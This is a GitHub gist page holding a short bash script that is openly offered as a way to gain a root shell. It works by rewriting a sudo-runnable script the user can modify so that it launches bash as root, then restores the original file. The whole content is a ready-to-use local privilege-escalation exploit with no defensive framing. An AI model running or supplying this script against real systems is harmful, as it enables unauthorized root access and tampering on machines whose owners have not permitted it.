Skip to content

Instantly share code, notes, and snippets.

@mastier
Created April 14, 2016 12:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mastier/aa3ed72081732e9a039edd5854c438e8 to your computer and use it in GitHub Desktop.
Save mastier/aa3ed72081732e9a039edd5854c438e8 to your computer and use it in GitHub Desktop.
Root access to shell having script with sudo privileges and ability to modify it
#!/usr/bin/env bash
# This simple script allows you to achieve root shell when you already have access to script
# prerequisites:
# 1. access to write the script
# 2. able to run the scripts sudo as root
ELEVATED_BINARY="$1"
TMPFILE=$( mktemp )
ORIGFILE=$( mktemp )
cp "${ELEVATED_BINARY}" "$ORIGFILE"
cat "${ELEVATED_BINARY}" | sed -e "s,^,mv $ORIGFILE ${ELEVATED_BINARY} ;bash; exit 0;," > "$TMPFILE"
cp "$TMPFILE" "${ELEVATED_BINARY}"
rm "$TMPFILE"
sudo "${ELEVATED_BINARY}"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment